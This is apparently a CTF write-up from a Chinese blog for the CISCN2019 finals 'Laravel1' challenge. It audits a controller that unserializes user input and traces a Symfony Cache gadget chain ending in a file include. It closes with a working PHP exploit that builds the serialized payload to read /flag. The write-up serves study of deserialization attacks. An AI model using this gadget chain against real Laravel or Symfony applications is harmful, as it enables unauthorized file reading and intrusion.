• [CISCN2019 总决赛 Day1 Web4]Laravel1


    知识点:代码审计
    
    • 1

    从页面给的代码我们可以看到有网站备份source.tar.gz,且是以get方式传一个序列化的payload

    
    //backup in source.tar.gz
    namespace App\Http\Controllers;
    class IndexController extends Controller
    {
        public function index(\Illuminate\Http\Request $request){
            $payload=$request->input("payload");
            if(empty($payload)){
                highlight_file(__FILE__);
            }else{
                @unserialize($payload);
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14

    解压一下tar -zxvf source.tar.gz,然后就是审计了,没说明头绪就先看一下大佬们的解析,这边我学到两个方便的功能,在phpstorm中Ctrl+Alt+B显示子类继承图,Ctrl+Alt+U显示父类继承图,各类的关系很清晰。
    在这里插入图片描述

    审计:

    序列化的题目可以从__destruct入手,在TagAwareAdapter中,再继续完善链子,且invalidateTags也在本页中。
    现在链子为__destruct => commit => invalidateTags
    在这里插入图片描述
    invalidateTags$this->pool是可控的,那么我们可以找一个有saveDeferred方法的类,但在这之前要先看一下pool怎么赋值。
    在这里插入图片描述
    可以看到pool是接口AdapterInterface的,所以现在要找一个实现接口AdapterInterface且存在方法saveDeferred的类,且saveDeferred这个方法可以利用。

    在这里插入图片描述

    PhpArrayAdaptersaveDeferrednull === $this->values默认符合,然后$this->initialize();,继续向下看呗

    在这里插入图片描述
    但是在利用saveDeferred之前还要实现一个接口CacheItemInterface,选择一个。
    在这里插入图片描述
    在这里插入图片描述
    实现了CacheItemInterface接口后,再看initialize();方法,也是链子的结尾。(在PhpArrayTrait.php中),利用点就是include
    在这里插入图片描述

    exp

    
    namespace Symfony\Component\Cache{
        final class CacheItem{}
    }
    
    namespace Symfony\Component\Cache\Adapter{
        use Symfony\Component\Cache\CacheItem;
        class TagAwareAdapter{
            private $deferred;
            private $pool;
            public function __construct(){
                $this->deferred  = ["succ3"=>new CacheItem()];
                $this->pool = new PhpArrayAdapter();
            }
        }
    
        class PhpArrayAdapter{
            private $file = "/flag";
        }
        $a = new TagAwareAdapter();
        echo urlencode(serialize($a));
    }
    
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    参考:

    https://www.xuxblog.top/archives/ciscn2019zong-jue-sai-day1web4laravel1

  • 相关阅读:
    MyBatisPlus-乐观锁概念及实现步骤
    Python基本功
    Word格式处理控件Aspose.Words for .NET教程——使用DOM插入字段
    Flutter ncnn 使用
    【Java进阶】学好常用类,code省时省力(一)
    <Linux> 编译器与调试器—gcc/g++/gdb 的使用
    FB广告系列花费上限是否有必要设置?
    计算机视觉学习记录(七):图像分类
    【探索Spring底层】2.容器的实现
    数学建模--K-means聚类的Python实现
  • 原文地址:https://blog.csdn.net/shinygod/article/details/126759182